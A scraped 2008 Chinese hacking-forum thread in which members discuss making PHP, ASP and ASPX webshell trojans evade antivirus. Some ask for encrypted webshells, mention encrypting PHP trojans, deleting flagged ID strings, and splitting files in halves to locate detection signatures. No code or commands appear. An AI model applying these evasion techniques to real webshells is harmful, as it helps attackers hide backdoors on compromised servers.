晶莹剔透§烈日灼然

niufen 发表于 2008-7-20 23:21

哪位有aspx加密的木马就直接上传个，怎么都找不工具加密郁闷
帖子41 精华[url=http://forum.eviloctal.com/digest.php?authorid=54145]0[/url] 积分62 阅读权限40 性别男在线时间24 小时注册时间2006-6-20 最后登录2008-5-4 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=54145]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=59801&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=59801&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-61071.html]hzy0110[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

LOVE 发表于 2008-7-20 23:21

完蛋了。。看来还是需要精通下语言才能啊。。。。。哎。。靠工具始终是不行的
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=61071]0[/url] 积分25 阅读权限40 性别男在线时间8 小时注册时间2006-8-10 最后登录2008-6-5 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=61071]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=59845&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=59845&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-32116.html]ttfct[/url] [img]http://forum.eviloctal.com/customavatars/32116.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

checkhere 发表于 2008-7-20 23:21

引用:
象海洋的，他就杀开始那段的ID数字，这怎么改？
直接删除TTFCT http://WWW.TTFCT.COM
[url=http://wpa.qq.com/msgrd?V=1&Uin=420079600&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子279 精华[url=http://forum.eviloctal.com/digest.php?authorid=32116]4[/url] 积分4132 阅读权限100 性别男在线时间111 小时注册时间2006-2-13 最后登录2008-7-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=32116]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=59877&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=59877&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-9149.html]xindong[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

皓新发表于 2008-7-20 23:21

引用:
这里是引用第[15 楼]的fhod于2006-08-13 23:00发表的：

刚应聘上的..一家大商场的系统管理员..

刚到家..把工具上传下....有需要的人来down
我也不想去找库了，也不知能不能加密php，对于php我是用辐射鱼的方法加密，效果还不错，如果配上火狐的加密算法，那样就更爽了，今天正好用这些方法将自己手头上的php马都加一一遍，全部免杀！
帖子25 精华[url=http://forum.eviloctal.com/digest.php?authorid=9149]0[/url] 积分84 阅读权限40 在线时间9 小时注册时间2005-8-8 最后登录2006-10-3 [url=http://locus.blog.sohu.com]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=9149]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=60733&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=60733&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-16052.html]remax[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

揸拖拉机入西藏 发表于 2008-7-20 23:21

恩，一半一半的拆分定位是最快的，现在的杀毒貌似只认代码，像这些脚本语言很好改的。[kav6.0貌似认了一点点行为，不知道以后的日子怎么过了。。]20字节够写什么？
[url=http://wpa.qq.com/msgrd?V=1&Uin=37424654&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子325 精华[url=http://forum.eviloctal.com/digest.php?authorid=16052]2[/url] 积分911 阅读权限50 在线时间79 小时注册时间2005-10-25 最后登录2008-7-13 [url=http://www.remaxz.cn]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=16052]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=61583&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=61583&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-17478.html]可酷可乐[/url] [img]http://forum.eviloctal.com/images/avatars/17.gif[/img]
晶莹剔透§烈日灼然

页: [1]

【3.A.S.T】网络安全爱好者's Archiver

[讨论]请问PHP ASPX ASP木马如何更好的免杀